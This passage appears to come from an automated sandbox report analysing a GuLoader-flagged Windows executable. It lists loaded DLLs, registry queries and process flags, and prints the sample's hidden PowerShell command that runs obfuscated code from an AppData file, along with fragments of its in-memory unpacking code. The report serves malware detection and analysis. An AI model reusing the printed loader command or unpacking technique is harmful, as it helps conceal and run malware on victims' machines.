Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Rundholterne89.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Rundholterne89.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: tem.Core.pdb source: powershell.exe, 00000002.00000002.1877824072.0000000006B74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdb source: powershell.exe, 00000002.00000002.1877824072.0000000006B74000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.1886651504.000000000936D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Unbristled191 $Disobedient $Leddelings), (Bunodont @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Anseeligt = [AppDomain]::CurrentDomain.GetAssemblies()$g
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Realkreditinstitutterne)), $Bdeforelgget215bidances).DefineDynamicModule($Resknderiernes, $false).DefineType($Anatreptic39, $Renunciab

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Rundholterne89.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"
Source: C:\Users\user\Desktop\Rundholterne89.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Ungarnsopholdet197=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205';$Ratanhia=$Ungarnsopholdet197.SubString(55438,3);.$Ratanhia($Ungarnsopholdet197)"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_043DCA78 push eax; mov dword ptr [esp], edx	2_2_043DCA8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_043DD610 push esp; iretd	2_2_043DD611
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_043DD0B0 pushad ; retf	2_2_043DD0B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_087E41A6 push 3B640E4Eh; ret	2_2_087E41AD

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\Rundholterne89.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
